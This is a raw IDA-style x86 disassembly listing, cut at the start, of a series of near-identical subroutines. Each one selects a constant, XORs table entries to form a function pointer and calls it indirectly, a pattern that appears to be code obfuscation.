mov ebp, esp sub esp, 40h mov [ebp+var_30], 5Bh mov [ebp+var_2C], 4Dh mov [ebp+var_28], 0A3h mov [ebp+var_24], 85h mov [ebp+var_20], 27h mov [ebp+var_1C], 0EBh mov [ebp+var_18], 2Eh mov [ebp+var_14], 42h mov [ebp+var_10], 0Ah mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ah and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A969C mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A969C: ; CODE XREF: sub_4A960B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A960B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9708 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9CCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 70h mov [ebp+var_2C], 0Ah mov [ebp+var_28], 0C9h mov [ebp+var_24], 24h mov [ebp+var_20], 77h mov [ebp+var_1C], 64h mov [ebp+var_18], 68h mov [ebp+var_14], 29h mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A9799 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A9799: ; CODE XREF: sub_4A9708+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9708 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9805 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9D0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 60h mov [ebp+var_2C], 96h mov [ebp+var_28], 68h mov [ebp+var_24], 1Eh mov [ebp+var_20], 0CFh mov [ebp+var_1C], 24h mov [ebp+var_18], 37h mov [ebp+var_14], 70h mov [ebp+var_10], 5 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 5 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A9896 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A9896: ; CODE XREF: sub_4A9805+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9805 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9902 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9D4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0A0h mov [ebp+var_2C], 91h mov [ebp+var_28], 0F4h mov [ebp+var_24], 63h mov [ebp+var_20], 3 mov [ebp+var_1C], 7 mov [ebp+var_18], 0A8h mov [ebp+var_14], 0E1h mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A9992 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A9992: ; CODE XREF: sub_4A9902+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9902 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A99FE proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9D8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 6Fh mov [ebp+var_2C], 72h mov [ebp+var_28], 8Eh mov [ebp+var_24], 58h mov [ebp+var_20], 0F7h mov [ebp+var_1C], 3Eh mov [ebp+var_18], 29h mov [ebp+var_14], 20h mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A9A8F mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A9A8F: ; CODE XREF: sub_4A99FE+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A99FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9AFB proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9DCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 39h mov [ebp+var_2C], 54h mov [ebp+var_28], 38h mov [ebp+var_24], 0D0h mov [ebp+var_20], 0E2h mov [ebp+var_1C], 99h mov [ebp+var_18], 0A6h mov [ebp+var_14], 0F4h mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A9B8B mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A9B8B: ; CODE XREF: sub_4A9AFB+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9AFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9BF7 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9E0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 37h mov [ebp+var_2C], 0D8h mov [ebp+var_28], 48h mov [ebp+var_24], 12h mov [ebp+var_20], 7Dh mov [ebp+var_1C], 50h mov [ebp+var_18], 33h mov [ebp+var_14], 0EAh mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A9C88 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A9C88: ; CODE XREF: sub_4A9BF7+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9BF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9CF4 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9E4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 97h mov [ebp+var_2C], 68h mov [ebp+var_28], 7Ch mov [ebp+var_24], 45h mov [ebp+var_20], 60h mov [ebp+var_1C], 7Bh mov [ebp+var_18], 8Bh mov [ebp+var_14], 0ADh mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A9D85 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A9D85: ; CODE XREF: sub_4A9CF4+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9CF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9DF1 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9E8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 86h mov [ebp+var_2C], 19h mov [ebp+var_28], 6Dh mov [ebp+var_24], 0A0h mov [ebp+var_20], 2Dh mov [ebp+var_1C], 4Eh mov [ebp+var_18], 0A9h mov [ebp+var_14], 0D1h mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A9E82 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A9E82: ; CODE XREF: sub_4A9DF1+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9DF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9EEE proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9ECo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0E1h mov [ebp+var_2C], 0F3h mov [ebp+var_28], 0B1h mov [ebp+var_24], 31h mov [ebp+var_20], 81h mov [ebp+var_1C], 20h mov [ebp+var_18], 0B1h mov [ebp+var_14], 0Ch mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A9F7F mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A9F7F: ; CODE XREF: sub_4A9EEE+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9FEB proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9F0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0F9h mov [ebp+var_2C], 1Ch mov [ebp+var_28], 0D6h mov [ebp+var_24], 0FBh mov [ebp+var_20], 6Bh mov [ebp+var_1C], 27h mov [ebp+var_18], 0E0h mov [ebp+var_14], 3Eh mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AA07C mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AA07C: ; CODE XREF: sub_4A9FEB+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9FEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AA0E8 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9F4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 54h mov [ebp+var_2C], 3Ah mov [ebp+var_28], 99h mov [ebp+var_24], 0D2h mov [ebp+var_20], 45h mov [ebp+var_1C], 8Bh mov [ebp+var_18], 0C9h mov [ebp+var_14], 1Bh mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AA179 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AA179: ; CODE XREF: sub_4AA0E8+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AA0E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AA1E5 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9F8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0D5h mov [ebp+var_2C], 0E6h mov [ebp+var_28], 47h mov [ebp+var_24], 9Ch mov [ebp+var_20], 0F9h mov [ebp+var_1C], 7Ah mov [ebp+var_18], 0BCh mov [ebp+var_14], 43h mov [ebp+var_10], 14h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 14h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AA276 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AA276: ; CODE XREF: sub_4AA1E5+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn 